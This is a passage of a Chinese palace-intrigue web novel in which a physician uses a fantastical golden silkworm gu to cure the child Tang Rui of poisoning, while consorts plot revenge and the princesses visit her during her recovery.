脏东西赤赤:“…”你礼貌吗? 它堂堂赤炼蛊…好吧,在金蚕蛊老大面前,确实是个垃圾。 金色毛毛虫似乎听懂了,不情不愿的爬到唐蕊脸上,然后不动了。 神医冷声道:“怎么?不愿意?” 金蚕蛊盯着她,口器蠕动了几下,似乎是在反抗。 神医像是听懂了,满脸不耐:“什么味道不对?她算起来也是我的亲属,身上流着姓唐的血,四舍五入不就是一样的?” 金蚕蛊肥胖的脑袋摇得虎虎生风。 它可是一个有原则的蛊,味道不对就是不对,在这样的身体里待著,它会非常不舒服。 神医可不是唐娆,对待自己的金蚕蛊会温柔得不得了。 见胖虫子软硬不吃,她也火大了。 “老子不想跟你扯犊子,去不去?不去老子帮你一把!”说罢,神医直接抓住它,捏开唐蕊的嘴巴,把它往唐蕊嘴里一塞又快速合上,并捂住。 金蚕蛊在唐蕊的嘴巴里浑身不适,不停乱撞。 只见唐蕊嘴巴周围,一会儿鼓起一个包,一会儿又鼓起一个包… 不知持续了多久,胖虫子像是认命了,终于消停下来,顺着唐蕊的喉咙滑了进去。 神医这才松开她的嘴,掀开她的衣袖,按住脉搏等待时机。 金蚕蛊这种东西,天性懒散,能马上干完的活非要拖,拖到都不能再拖。 神医和唐娆不一样,不会惯着金蚕蛊。 发现唐蕊的脉搏隔了好久还是那样,就知道它在里面偷懒了,不由得开口威胁:“半个时辰,你要是没把毒素吸干净,老子就把你炖了!” 里面的金蚕蛊:“…”听听说的是人话吗? 这可是芙蓉殇,半个时辰,你当巴豆呢? 领教过自己主人手段的金蚕蛊骂骂咧咧,开始干活。 因为它是真的被神医炖过,有点小害怕。 很快,神医就察觉到了唐蕊脉搏在变化。 软弱无力的脉搏渐渐强劲起来了,可唐蕊一只白嫩小手却以肉眼可见的速度快速变得青紫、乌黑… “…”金蚕蛊这是根本没有吸毒,而是把毒素都逼到了这只手上。 这是想废了唐蕊的手吗? 神医也骂骂咧咧,赶紧拿出匕首,在唐蕊掌心化了一道口子。 霎那间,乌黑粘稠的液体流了出来。 明明很恶心的东西,却带着一丝奇异的香味。 血越来越多,屋里都被奇异的香味侵蚀,甚至开始朝外蔓延。 唐蕊白皙红润的小脸也以肉眼可见的速度,快速苍白下去。 还好,随着时间推移,流出来的血逐渐变成了健康的红色。 最后,胖虫子也从唐蕊掌心那道伤口钻了出来,摇头晃脑跟神医邀功。 它依旧金灿灿,哪怕去唐蕊身体里溜了一圈,周身也没染上一点血污。 神医老脸一黑,一把抓住它,冷哼质问:“你是要她失血而亡吗?” 金蚕蛊缩了缩脖子,心虚了,胖乎乎的脑袋讨好的蹭着她的手。 “回去再收拾你!”神医冷哼一声,把它塞回袖口,这才起身去开门。 司徒澈一个健步冲了过来:“神医,蕊蕊如何?” 其他女人也纷纷凑了过来,N脸紧张。 “没事了!”神医淡淡的瞥了他们一眼,转身回屋。 司徒澈一行人跟着进去,只见唐蕊脸色惨白,还在昏迷中。 而床边,是一摊黑色粘稠的血,奇异的香味充斥在众人鼻间。 顾若雪触目惊心的看着那滩血,一颗心都揪了起来:“神医,蕊蕊没事吧?” “没事,失血过多而已!”神医已经来到书桌边,扯过纸开始写药方了:“我给你们的药方子,每天让她喝三次,最多五天就没事了。” “多谢神医!”听到这话,一群人狠狠的松了一口气。 这将近一个月,不光是唐蕊在饱受煎熬,她们也是。 现在唐蕊没事了,几个女人后知后觉才放松下来,觉得又累又饿。 神医写完药房,随手递给司徒澈,不动声色打量着几个女人。 出身南蛮那种女权国度,她最是不喜欢这种大家闺秀的。 但,几个女人对唐蕊的关心,倒是让神医觉得她们顺眼了许多。 明明不是她们的孩子,她们却愿意关爱唐蕊,神医沉吟片刻,决定送她们一份大礼。 想到这,神医指了指顾若雪:“你,面色苍白,额头鼻周肤色隐隐泛着暗青,这是寒气凝滞之相,也就是你们说的宫寒,不易受孕,一会儿我给你开个方子,喝上两月。” 第179章 解毒 “啊?好…好,多谢神医!”顾若雪受宠若惊,连连道谢。 自从司徒撤说她可以继秦芷嫣后受孕时,她就专门找御医看过,御医也是说她宫寒。 可她也没想到,都没把脉,就能看出她宫寒。 这也太神了! “还有你!”神医又指了指朱侧妃:“不知节制,饮食无律,太过肥胖,早有眩晕头痛之证!” “真神了!”朱侧妃目瞪口呆,竖起大拇指:“你都没给我把脉就看出来了?” 神医淡淡道:“不然呢?” 真以为她神医白叫的? “好厉害!”朱侧妃感叹,可一想起自己爱吃的嘴,就很郁闷:“我也想瘦一点,可老是管不住自己的嘴,我也很无奈!” “…”这有何难? 神医从袖口里掏出一个瓷瓶随手扔给她:“里面是我随手炼制的新蛊,我也不知道该给它取什么名字,因为着实无用,现在倒很适合你了。只要你吞了它,怎么吃都不会胖!” “啊?”朱侧妃手忙脚乱接过来,一脸震惊:“这…把虫子吞进去?我不会死吗?” “不是所有的蛊都是害人的,信不信由你!”神医没打算说太多,反正说了她们也不懂。 巫蛊巫蛊,蛊术和巫术几千年前就是一家。 一开始巫蛊之术也不是害人的,不然为先辈们管大夫叫巫医? 只是后来内乱,才分为黑巫和白巫。 那些害人的蛊,都是黑巫研究出来的。 发展到后来,人们谈蛊色变,不管黑巫还是白巫都被贴上了恶毒的标签赶尽杀绝。 直到现在,巫蛊之术近乎灭绝,只有南蛮皇室之人传承了下来。 以前她不显露这个技术,是因为唐蕊太沉迷蛊术了。 好好的神医谷被她搞成了热带雨林,就跟她那个讨人厌的娘一模一样。 后来唐蕊离开了,她才敢炼炼蛊。 “呃,谢谢…”朱侧妃有点怕,也有点纠结。 长得胖的人,谁不希望自己有一个怎么吃都吃不胖的身体啊? 她当然也不例外! 可是吞虫子…有点无法接受。 神医也不管她怎么想了,看向其他两个女人。 李庶妃虎躯一震,开始紧张了。 张庶妃倒是没所谓,她觉得她身体很健康,应该没有什么问题,只是有个小愿望。 果然… 神医点点头:“你俩身体很好,没问题!” “哦…”李庶妃默默的松了口气。 张庶妃却道:“我想生儿子,可以吗?” 司徒澈:“…”你够了,赶紧闭嘴! 神医扫了一眼尴尬的司徒澈,这才说道:“生儿生女都是男子的问题,跟女子无关,说白了,女子只是借他们肚子,为他们孕育子女而已。” 司徒澈外加一群女人:“!!” 这样吗? 以前他们都不知道! “谷里事忙,没事我就先走了!”神医可不想面对唐蕊那个小魔女。 然而,她话音刚落,唐蕊虚弱的声音传来:“师傅…” 神医僵了僵,一脸无语的看了过去。 唐蕊不知何时醒了,正巴巴的看着她,泪眼花花:“你很讨厌我么?都不让我见一面,就想离开?你就这么不喜欢我这个亲亲可爱小徒弟么?” 神医额头滑落黑线,没好气道:“说吧!这次想要什么?先说好,我来得急,身上什么毒都没带!” 唐蕊抹了一把辛酸泪,继续质问:“在你心里,我就是这样的人哦?你都不知道,我有多想你,可你一点都不想我,好像我是洪水猛兽一样,把我赶下山就算了,把我扔给爹爹也算了,现在还这么迫不及待的要走,你都不知道,我的心有多痛!” “…”我信你个鬼啊? “不说?那我走了?”神医作势要走。 唐蕊演不下去了,赶紧说道:“别哇别哇,我想要你炼制金蚕蛊的过程和步骤!” 金蚕蛊,真的太牛逼了! 想要! 非常想要哇! “没有!”神医一口拒绝:“想都别想!” 唐蕊嘴巴一瘪,握着拳拳质问:“为什么哦?你明明会!” “你看错了,我不会,好好听你爹的话,我先走了!”神医说罢赶紧离开,好像身后有鬼在追一样。 “神医,不如多留几日…” “不必,村里人住不惯太高级的地方。”话音犹在,人没影了。 司徒澈::“…” 唐蕊:“…”至于吗?真把我当洪水猛兽。 “王爷,你与蕊蕊许久未见,陪着她吧,妾身出去看看。”顾若雪拦住了司徒澈,见他点头,匆匆追了出去。 司徒澈来到床边,爱怜的看着宝贝女儿:“蕊蕊,可舒坦了?” 唐蕊点点头,小大人似的叹息一声:“我师傅太犟了,我可是她的徒弟,不传给我,想传给谁哦。” “你师傅肯定也是为你好,金蚕蛊乃蛊中之王,定不是那么好炼的。” 司徒澈揉了揉她的脑瓜子:“还有哪里不舒服?流了这么多血,爹爹让膳房做些猪血,给你好好补补?” “好吧!”没要到想要的东西,唐蕊只能作罢,先解决自己的五脏庙。 昏迷这几天都没什么胃口,醒着的时候也不多,都快饿死了。 “我去叫膳房做,多做些!”朱侧妃赶紧跑了出去。 另外几个女人也都围了过来,对唐蕊嘘寒问暖。 人没事就好,这将近一个月的时间,可把她们急坏了。 … 府外,顾若雪把叫住了正准备上马的神医,郑重对她道谢:“这次多谢神医了,本想多留神医几日,可神医…咳…谷中有事,我们也不好强留…” “有话直说,别拐弯抹角的。”神医淡声打断她的话。 顾若雪闻言一愣,继而笑了:“没想到被神医看出来了,我确实有事想让神医帮忙!” “说!”她好歹是也是南蛮皇室培养出来的,受过精英教育,不至于那么瞎,看不出顾若雪的欲言又止。 “是…”顾若雪迟疑片刻,这才道:“这次害蕊蕊之人,我不想就这么放过他们,所以想请教神医,这世上可有什么药,能让男子显出孕相。” 本来她是想买通御医的,但这个法子还是太冒险。 若是有这样的药,那再好不过了。 神医眉梢一扬:“为何?蕊蕊不是你的女儿,你没必要如此。” 第180章 为什么这么恨璃王 “可我实在咽不下这口气!”顾若雪捂着胸口,眼底划过一丝狠色:“蕊蕊虽然不是我的亲生女儿,但我早已把她当成了亲生女儿。女儿被欺负,还差点丢了一条命,做娘的,岂有坐视不理的?” 神医仔细打量着她的神色,良久才点了点头,摸出一个药瓶扔给她,笑得不怀好意:“男子服下这个,不仅能出现怀孕的症状,肚子还会鼓起来。只不过,待到临盆那一日,生下来的不是孩子,而是…一窝虫子!” “多谢神医,有了您的帮忙,我一定要让给他身败名裂!”顾若雪神色一喜,再次道谢。 “无事,你不动手我也会替她报仇,既然你动手了,那我就不管了。”神医摆摆手,轻轻一跃上了马背。 看着她潇洒的背影,顾若雪突然问了一句:“我知道不该问,但还是想请教神医,为何不教蕊蕊金蚕蛊炼制的方法?” 唐蕊在院里捣鼓那么久,也才捣鼓出一只赤赤。 虽然顾若雪对虫子这种生物还是喜欢不起来,但唐蕊喜欢的,她还是会尽量去适应接受。 最重要的是,金蚕蛊好厉害的样子,有了它,蕊蕊以后的安危也能多一重保障! 马背上,神医沉吟片刻才道:“真正厉害的蛊,都是本命蛊,金蚕蛊也不外如是。只要是本命蛊,都有两个致命的缺陷。其一,它们除了自带剧毒,毫无自保之力。就算是金蚕蛊,也只是外壳坚固,水火不侵而已,若是遇到有心想杀它的人,还是会死的。其二,它们与主人同享寿命,人死蛊亡,蛊死人亡。你也不希望,蕊蕊多出一个软肋吧?” “原来如此!”顾若雪听懂了,朝马车福了福身子:“神医对蕊蕊一片拳拳爱护之心,是若雪误会了。” “呵…胡说八道,我最烦的就是她…”神医冷笑一声,不再言语。 马儿扬长而去,顾若雪站在府邸门口,看着马车消失在视线中,这才转头看向皇宫的方向,捏紧了手里的瓷瓶。 有了这样的药,时间就得延后了。 待陈姬十月之后,生下一窝虫子后,也不知道太子会是什么表情! … 没了剧毒侵扰,唐蕊又恢复了往日的活泼,一直都不爱吃白米饭的她,当晚就干了七碗饭。 消息传到皇宫的时候,皇帝很高兴,立刻让陈德福去自己的私库里选了一些值钱的小物件,替他去璃王府探望唐蕊。 而姜妃却气坏了,在殿中无能狂怒,乱砸东西。 这个小贱人,命怎么就这么硬? 一个后位啊,这都没能杀了她! 那她的后位,岂不是白白被废了? 姜妃沉着脸,胸口不停起伏,隔了好久才冷静下来:“谁给她解的毒?不是说芙蓉殇无药可解吗?你别是怕了,私自把芙蓉殇调换了吧?” 素锦扑通一声跪下,诚惶诚恐:“娘娘,怎么会呢,您交给奴婢的事,奴婢绝不敢有一点马虎,那人亲口说过,就是芙蓉殇啊!” “那你告诉本宫,小贱人为何会醒?”姜妃高声质问,眼底的恶意藏都藏不住:“难道那人在骗你?骗本宫?” “奴婢不敢,奴婢不敢!”素锦微微颤颤,眼泪直掉,不停表忠心:“娘娘,奴婢真的不知道怎么回事啊!当初太医也确诊了,确实是芙蓉殇,这事儿您也知道的啊。奴婢想着,也许…也许这芙蓉殇,真的有解,只是我们不知道而已,不然璃王为何不在府中陪伴女儿,反而第一时间离开王府,不知去向?他肯定知道谁能解芙蓉殇!” “奴婢,奴婢还打听到,今日璃王府送走了一个神秘女子,或许就是她解了芙蓉殇!” 姜妃深吸一口气,不停平复自己的怒火:“再去找他,昭华太邪门了,必须死,让他想办法!还有司徒澈生的那个野种,一并给本宫解决了!那个解毒的贱人也是,跟本宫作对,好大的胆子!” “…”您干脆杀了我吧! 素锦一脸苦涩:“娘娘,奴婢觉得,自昭华郡主的事后,皇上一定会让人盯着您的。不如我们先蛰伏起来,再寻机会?不然,暴露了那位,咱们就真的孤立无援了。” 姜妃没有说话,只是眼神很冷,就像是一条蓄势待发的毒蛇。 素锦壮着胆子再接再厉:“娘娘,您想想太子殿下啊,他正是需要帮手的时候,那位真的不能暴露啊!” 姜妃闭了闭眼,隔了好久才平复下来,咬牙切齿道:“好,本宫就再等等!日后我儿登上高位,定要屠了璃王府!” 素锦:“…”也是醉了,真的搞不懂,主子为什么这么恨璃王。 那不也是她的亲生儿子吗? 见过偏心的,还没见过偏心到如此地步的! … 唐蕊康复,几个王妃第一时间来到璃王府探望,辰王妃还破天荒的带上了司徒郯。 顾楠聿收到消息,天没亮就来璃王府门口等着了。 宫里的司徒安听到小厮汇报这事后,也嚷嚷着要出宫去看唐蕊。 高贵妃一个头两个大,恨不得操起鸡毛掸子把这儿子好好打一顿。 司徒安就是不懂啊,握着拳头言辞激烈:“我为什么不能出宫?为什么不能去找昭华玩?以前这后宫是姜妃娘娘管着就算了,可现在这后宫都是母妃您管着的,儿臣能不能出宫,还不是您一句话的事,为什么您不许啊?” “哎哟,小祖宗你别叫了!”高贵妃捂住儿子的嘴,把他拖进自己殿中,驱散了所有下人,这才语重心长给他讲道理:“安儿,姜妃折了后位,目的也没达到,肯定会恼羞成怒的。现在皇上的人肯定盯着她,她或许暂时不敢动昭华了,那你呢?万一让她看到你和昭华走得近,迁怒你可如何是好?” 芙蓉殇都用上了,真不知道皇后手里还有多少好东西。 她是真的怕啊! 万一自己儿子也中了这个毒,皇帝也会像司徒澈一样到处去给昭华寻药吗? 别逗了! 伺候皇帝多年,她比谁都清楚,皇帝心里真正在乎的,只有司徒澈一个儿子。 第181章 组团探望 而她,也只有司徒安这一个儿子啊,实在是赌不起! 哪怕现在拿到了掌管六宫之权,成了后宫第一人,她都不敢放肆,更没那个胆子去对付姜妃。 司徒安年纪小,又被保护得太好,哪里看得到这么深的东西。 听到高贵妃这么说,还反过来鄙夷她:“母妃,你太没出息了,你现在可是后宫里所有庶母当中位份最高的,你怕什么啊?” “本宫怕的东西太多了,最怕的,就是你不能平安长大…”高贵妃叹息一声,眼底满是司徒安看不懂的情绪:“安儿,听母妃的话好不好?母妃这一生,所做的一切都是为了你,万一你有个好歹,母妃也活不下去了。” 她一直安分守己,谨小慎微,就是为了保全儿子,不让他踏入那波云诡谲的皇权争斗之中。 待到儿子长大封王,皇帝开恩,赐司徒安一个偏远封地,她老了也能跟着儿子一起生活,离开这吃人的后宫。 从此天高海阔,无忧无虑。 姜妃的狠毒已经超出了她的预期,这个女人实在太可怕了。 高贵妃不想死,更不希望儿子死。 司徒安见自家母妃难过,虽然还是不能理解,但却懵懂的点了点头:“母妃,你别难过,儿臣错了,不出宫就是了。” “乖!母妃特意学着做了一下奶茶,带你去尝尝好不好?”高贵妃牵着儿子,往殿中走去。 母子俩的背影,一大一小,被艳阳拉扯得很长… … 璃王府,非常热闹。 几个王妃都来了,还有司徒郯和顾楠聿。 哪怕年纪小也是外男,不宜进入女子闺阁。 于是容嬷嬷和幻蝶让人把摇椅抬到院中,在小心翼翼把唐蕊放在摇椅上,给她盖上薄薄的毯子,就让她这么见客了。 几个王妃看到唐蕊小脸逐渐恢复的血色,总算是松了一口气。 唐蕊可爱又聪慧,还帮过她们很多。 这将近一个月的时间,她们也跟着担惊受怕。 特别是辰王妃,除了吃饭睡觉,都待在佛堂,为唐蕊诵经祈福。 还好,老天听到了她的请求,总算开眼了。 “你这小妮子,可担心死我们了。”辰王妃娇嗔的瞪了她一眼。 睿王妃看着她还没彻底恢复的瓜子脸,眼底满是心疼:“可不是,瞧这小脸,美则美矣,但我还是觉得以前胖乎乎的脸蛋更讨喜。” 襄王妃笑眯眯道:“总归平安,就是好事,好好补补,小圆脸就回来了。” 晋王妃朱妙婈抬了抬手,让身后的侍婢把礼物呈上:“蕊蕊,这些是王爷寻回来的血燕,最是滋补,听到我要来看你,特意吩咐我一定要亲手交给你。还说,祝你早日康复,他带你去马场玩。” “马场?”唐蕊眼睛一亮,很感兴趣:“我长这么大,还没去过马场呢,马场好玩吗?是不是有很多很多的马匹,还有传说中的汗血宝马?” 前世唐蕊也是骑射俱乐部的会员,她的爱马就是一匹非纯种汗血宝马,价格高达一百万。 马场场主那匹纯种的汗血宝马更贵,价格高达八千万。 她每次看到都会流哈喇子,做梦都想有一匹同款! 朱妙婈羞涩一笑:“我不会骑射,也不知道有没有汗血宝马,但…王爷名下确实有两个马场。” 睿王妃打趣道:“九弟妹谦虚了,你管着晋王府中馈,岂会不知,九弟名下的两个马场,可是京城最大的马场。如果这两个马场里都没汗血宝马,那谁的马场还有呀?” “这…我是真没注意…”朱妙婈好像是个比较容易害羞的人,跟朱侧妃大大咧咧的性子完全相反。 她恬静就像是一朵花,一举一动都标准的大家闺秀模子。 这不,睿王妃一打趣,她那脸又红了。 “好啦,别欺负九弟妹啦,谁说汗血宝马就得在马场里呀?”襄王妃白了睿王妃一眼,给她们普及:“汗血宝马这种东西,可是至宝,就算有,也会安置在别处,由专人饲养着,还有一些会些武把式的家丁守着,跟普通的马不一样的。” 辰王妃掩唇一笑:“是是是,我倒是忘了,六弟妹也是马背上长大的女子,自然比我们懂马。” “唉…别提了,自从嫁给我家爷,我都忘了怎么拉缰绳了。”襄王妃叹息一声,引得几个女人轻笑出声。 一个女人等于五百只鸭子,几个女人说话,顾楠聿和司徒郯完全插不上嘴。 顾楠聿还沉得住气,司徒郯着急了:“母妃,您不是说要跟七皇婶商量一下我的世子妃人选吗?时间也不早了,你快去吧!” 辰王妃噎了一下,无奈的看着宝贝儿子:“母妃才刚跟昭华说会儿话呢。” 司徒郯小声嘀咕:“才一会儿啊?你们都说了一个时辰了,再说下去天都要黑了。” “算了算了,几个孩子岁数差不多,能聊到一起去。”襄王妃起身:“我们呀,还是去看看七弟妹吧!” “好吧!”辰王妃也站起身来,严辞叮嘱司徒郯:“不许进昭华的闺房,不能失了礼数,知道吗?” “知道知道,哎呀,母妃,你们快去看七皇婶吧!” “这孩子…” 辰王妃笑骂一声,又叮嘱了唐蕊几句,这才离开翠微阁。 她们一走,司徒郯和顾楠聿立刻围了过来。 当然,距离唐蕊两尺,不近不远刚刚好。 毕竟院儿里还有这么多下人,就算顾楠聿跟唐蕊已经订过亲,也不能影响她的声誉。 唐蕊没好气的翻了个白眼:“顾楠聿,你不去国学监了么?怎么三天两头往我家跑哦。” “没必要,学士教的那些,我早就会了。”以前之所以还去,纯粹是因为无聊。 再后来,就是因为唐蕊在那,所以… 顾楠聿拿出一个纸包递给她:“给你带的点心,看看喜不喜欢。” “喜欢!”唐蕊看都没看,一把接过来,打开纸包。 里面几个高点做成了月牙形状,还有一团四不像看不出来的玩意。 唐蕊狐疑的看着他:“这是哪儿买的?这么丑?” 第182章 霸道总裁也没这么霸道吧? 顾楠聿不自然的别开视线:“一家点心铺,你不喜欢我下次换家给你带。” “不对哦!”司徒郯突然开口:“刚你小厮不是说,这是你亲手做的吗?还说你这几天突然不喜欢看书了,开始摆弄刀枪棍棒了,还花很多银子买了个武功高强的哑奴,天天缠着他学…唔…” 司徒郯还没说完,顾楠聿就顺手拿了块糕点塞进他嘴里:“你话太多了。” 司徒郯:“…” 唐蕊:“…” “他胡说的!”顾楠聿脸不红心不跳,只看脸真看不出什么。 要不是司徒郯嘴快了,唐蕊就真的信了。 “嗯?没想到这糕点看着不咋地,吃起来味道不错诶!”司徒郯很快被嘴里的味转移了注意力,还催促唐蕊:“昭华,你也尝尝,真的不错。” “是吗?”唐蕊半信半疑,还是拿了一块咬了一口。 软糯香甜的味道蔓延开来,入口即化,确实不错。 唐蕊吃了一块,又拿一块,还不忘夸了顾楠聿一句:“手艺不错哦。” “君子远庖厨,都说了不是我做的。”顾楠聿皱了皱眉,死活不承认。 仔细看去,那耳垂还有些泛红。 唐蕊:“…” 拥有成年人的芯子,咋会看不出来少年的情窦初开? 就是因为看出来了,她才越发觉得顾楠聿变态了。 哪个正常人会喜欢一个六岁小孩子的,这不是变态又是什么? 这门婚约还是得想法解,她可不想摊上这么一个变态玩意。 “对了昭华,马上就是祭天大典了,你也必须要去哦,身体吃得消吗?”司徒郯随口问道。 唐蕊皱了皱眉:“吃不消不也要去,没办法。” 大夏的祭天大典,皇室成员和文武百官及其家眷,只要你走得动,就必须要到现场,包括还在做月子的秦芷嫣都不例外。 所以这些日子秦芷嫣都没来看过唐蕊,只让徐嬷嬷每天都来探望,就是想尽快养好身子。 没办法,要是不去的话,再出现什么天灾,有心人都会算到你头上,给你扣上一个不敬上苍,才会引来灾祸的罪名。 不管哪个年头,只要混迹官场的,谁还没几个政敌,怎么可能给政敌这样的机会攻击自己。 所以每年祭天,几乎都是全员到场。 唯一不同的是,祭天主持者得斋戒七日,每日一洗,祭天过程是诵经三日不吃不喝,求得苍天垂怜,让大夏土地无灾无祸。 而其他女眷,以及一些上了年纪的人,只需不吃不喝跪上一日便可。 一天,24个小时。 唐蕊头疼扶额,觉得很有必要让容嬷嬷连夜缝制几个跪得容易出来了。 不然这一天下来,她这膝盖还不得报废啊! 还有吃的,饿一天,昏着的时候就算了,醒着的时候,还不得要了她的狗命么? “你可以让容嬷嬷给你袖口里缝几个宽大的袋子,放些吃的在里面。” 顾楠聿不动声色支招,却换来了唐蕊的白眼:“那么多人全跪一起,就看不到我吃东西么?” “想偷吃还不简单!”顾楠聿拿起一块糕点,用宽大的衣袖挡着,给她示范了一下才道:“会了?你就装作打呵欠,吃点东西垫垫还是可以的。” “实在没办法只能这样了,我可不要饿着!”唐蕊也是搞不懂,大夏为什么非得有这么非人类的集体活动。 司徒郯嘿嘿一笑:“就一天,坚持坚持就好,祭天的日子过了就是太子皇叔娶亲的大日子,我上次听父王说,姜妃的意思是想大办,给太子去去晦气。可她现在不是皇后了,她说的话不作数,大不大办的,还得皇爷爷决定。” “还去晦气,晦气是指我吗?她就像是有什么大病一样,害了人还说别人是晦气,霸道总裁也没这么霸道吧?”唐蕊现在对姜妃是恨得牙痒痒的。 可她拿不准皇帝对姜妃的态度,不敢轻举妄动。 不然,早就让赤赤潜入皇宫,给姜妃来上那么一口了。 “别生气啦!”司徒郯笑眯眯道:“总归你没事,这就是不幸中的万幸了。” 唐蕊哼唧一声,都没说话的欲望了。 她没事,那是她命大,还多多少少带了点运气。 换成别人,早就被整死了。 … 另一边,几个王妃凑在一起,也挺热闹。 秦芷嫣这些时日都精心的养着,脸色红润。 唐蕊解了毒后,她也彻底放了心,这些天可没少进补,脸好像都隐隐圆了一圈。 辰王妃特意带来了一些女子的画像,也想问问秦芷嫣和几个妯娌的意见。 司徒郯虽然现在就跟普通孩子差不多,但他到底长寿不了,所以辰王在给他看媳妇这件事上,慎之又慎。 想找个秉性温和,贤良淑德的女子为世子妃。 几个王妃看着那些女子的画像,各抒己见。 襄王妃又拿起一副画像的时候,不小心把下面一副画像带落,掉在地上。 画像摊开,秦芷嫣一眼就看到了女子的容貌。 约莫十四,有些清瘦,笑起来很温柔,可眼底却带着一丝怯弱。 看到这个姑娘,秦芷嫣有那么一瞬间恍惚了,好像看到了以前自己。 那个时候她被继母和秦芷媃打压,父亲也不管不顾,性格懦弱又胆小。对别人笑的时候,是不是也如画中女子一般? 辰王妃注意到她的眼神,顺着她的视线低头一看,眉头微蹙:“为何这张画像也在。” 她身边的嬷嬷脸色一僵,赶紧道:“王妃,许是老奴收拾的时候没注意,夹带进来了。” “拿走吧!”辰王妃语气淡淡,看不出喜怒。 嬷嬷松了一口气,赶紧起身拿走那副画像。 几个王妃互视一眼,不明所以,秦芷嫣更是好奇道:“三嫂,这女子是谁啊?你好像很不喜欢她。” 辰王妃无奈一叹:“她姓林,林府三房的嫡出小姐。” “林府?”秦芷嫣惊呼一声:“是…姜妃给太子选中的林家嫡长女那个林家吗?” 林府可不是普通人家,已逝的老太尉就姓林。 他一共有三子,长子任白虎军左都统。 第183章 辉泽啊,也太黏蕊蕊了 所以,哪怕老太尉已逝,林府依旧在贵圈占有一席之地。 至于二子,没长子优秀,多年来就只是一个小小的七品官。 三子更惨,从小到大身体都不好,娶了媳妇后没多久就去了,三媳妇也跟着他殉情了。 两人只留下一个嗷嗷待哺的女儿,可怜兮兮的。 “是啊…”辰王妃想起这个姑娘,也不知道该说什么:“林府三房嫡出的小姐,本来按照身份,她也不是配不上郯儿,但你们也知道,她虽然有个三房嫡小姐名头,却父母早逝,并不受重视。说是林家女,其实倒像是寄养在林家的孤女似的。再者,林家长房嫡女是太子准妃,我是真不想跟太子扯上关系。还有一点…” 说到这,辰王妃头疼的揉了揉眉心:“这妮子实在胆大,她也不知道从哪听到我要给郯儿选世子妃的消息,竟然主动找上了我,自荐画像。你们说说,这像什么话啊?” 几个王妃:“!!” 啊这… 也是哈,自古以来,婚姻大事,父母之命,媒妁之言。 就算那林家三房女中意司徒郯,也要让家中长辈找官媒去说,哪有姑娘家家自己找上门去的。 辰王妃又是一叹,都没好意思说。 那个姑娘,可不止是胆大,见到自己的时候,还说什么,算命的给她算过,她是生儿子的相。 还说她愿意给司徒郯留下子嗣,只求给她一处容身之地。 虽然吧,辰王妃确实也是这个目的。 但这说开了,听着就像是在诅咒司徒郯似的,她能开心才有鬼了。 秦芷嫣动了动唇,反射性想说,那这位林家三房小姐,肯定是在家里过不下去了,才会如此。就像是…以前的自己一样… 可这是辰王妃的家事,辰王妃摆明了不喜欢这姑娘,秦芷嫣这话,就说不出口了。 襄王妃道:“不跟太子扯上关系也好,郯儿不管如何都是太子的晚辈,哪有叔侄俩娶同一家女儿的,这不是闹笑话么。” “是啊!”辰王妃无奈一叹:“我也是这么想的么,所以啊,这林家女儿,嫁谁都行,可不能让她来霍霍我的儿子。” 跟太子搅在一起的能是什么好人? 别以为她不知道,皇后选择林家长房嫡女,就是看中了林老大手里那点兵权。 笑死,一个左统手里能有多少兵? 这也瞧得上,真是饿了! 几个王妃很快遗忘了林三小姐的事,开始讨论别家的姑娘们。 只是到最后,看来看去,觉得谁都挺好。 这人选啊,依旧没有决定下来。 眼看天色不早,几个王妃告辞了。 司徒郯还没玩够呢,可这天确实要黑了,他总不能在璃王府过夜吧! 没办法,只能离开了。 倒是顾楠聿,秦芷嫣让徐嬷嬷给他传话,请他留下用完膳在回去。 顾楠聿却拒绝了,嘴上说着不合礼数。 实际上想的却是,哑奴让他晚上绕着院子跑三十圈来着,他得早点回去完成这个艰难的功课了。 … 也不知道是不知因为跟小伙伴说了会儿话,还是中午喝的药在发挥功效,唐蕊觉得好多了。 扶着幻蝶,在院里走了两圈后,果断决定去看看秦芷嫣,跟她一起用晚膳。 “对了!”唐蕊突然想起那个缠人精,指使奶娘:“抱着弟弟跟我一起去见母妃。” “好,好嘞!”奶娘笑呵呵的抱起小辉泽跟在她身后。 王妃娘娘可想小辉泽了,可小辉泽不给面子,只要一醒来,发现唐蕊不在,就会嚎啕大哭。 秦芷嫣试了好几次,都是带走没一会儿,又无奈的让人送了回来。 一个月了,小家伙醒着的时间比较多。 但只要他是醒着的,都会一眨不眨的盯着唐蕊瞧。 这不,哪怕奶娘抱着,他也会歪着脑袋去瞅唐蕊,黝黑的大眼睛里时而好奇,时而疑惑。 奶娘察觉到他的眼神,笑着跟唐蕊打趣:“小世子很喜欢郡主呢,只要醒着,这小眼神一刻都不离开郡主,以后长大了,肯定也会做个保护姐姐的好弟弟。” 唐蕊:“呵呵…也许吧…” 喜欢个der哦! 一个月了,她算是看出来了,这芯子不知道是什么成分的小鬼是在监视她呢! 不过,这孩子真的一点演技都没有,或许是觉得根本没有演的必要吧,眼神也太不纯粹了。 别人或许看不出来,要是司徒澈或顾若雪,时间久了肯定能看出来。 顾若雪这一个月都在担心她,没仔细观察。 司徒澈也是忙着找神医,回来后又开始处理这二十来天堆积的公务,陪小家伙的时间不多。 不行,得趁他们没发现的时候,好好跟这小家伙谈谈。 便宜爹和母妃好不容易盼来的儿子,可不能被当成妖怪烧死了。 唐蕊把这事放在心里,开开心心的来到秦芷嫣的住处,母女俩好好吃了顿饭。 有唐蕊在,小辉泽也不闹腾了,乖乖窝在秦芷嫣怀里,只是…那黑溜溜的眼睛还是一直盯着唐蕊。 这不,看唐蕊放下筷子,擦了嘴,站起身后,立刻咿咿啊啊叫个不停。 秦芷嫣故作生气的捏了捏他的小脸,又无奈的看着唐蕊:“蕊蕊,辉泽太黏你了,母妃本不想麻烦你的,可母妃实在把这孩子没办法。” “母妃,弟弟还小,跟我住一起也没事。再说了,平时的事都有奶娘,就占我半边床而已,那么大的床,还睡不下他么?”唐蕊伸手把辉泽抱了过来,像模像样的朝秦芷嫣福了福身子:“那母妃,我就先带弟弟回翠微阁了哦,你要好好养着,不要乱跑,马上就是祭天的日子啦,我给你开的药要按时喝哦。” 秦芷嫣笑着点头:“好,母妃会按时喝的,要是觉得麻烦,就…把辉泽送回来吧,母妃会想办法的。” “放心吧,这可是我弟弟,我怎么会嫌他麻烦。你好好休息哦,我先回去啦!”唐蕊语气欢快,刚一转身,脸上的笑容就淡了下来。 看着唐蕊抱着小辉泽离开的背影,秦芷嫣老怀安慰,可一想到一点都不亲近自己的小辉泽,又长长的叹了口气:“蕊蕊太懂事了,辉泽啊,也太黏蕊蕊了,连我这个亲娘都不亲近。” 第184章 你…李光宗? 这语气,有点酸啊! 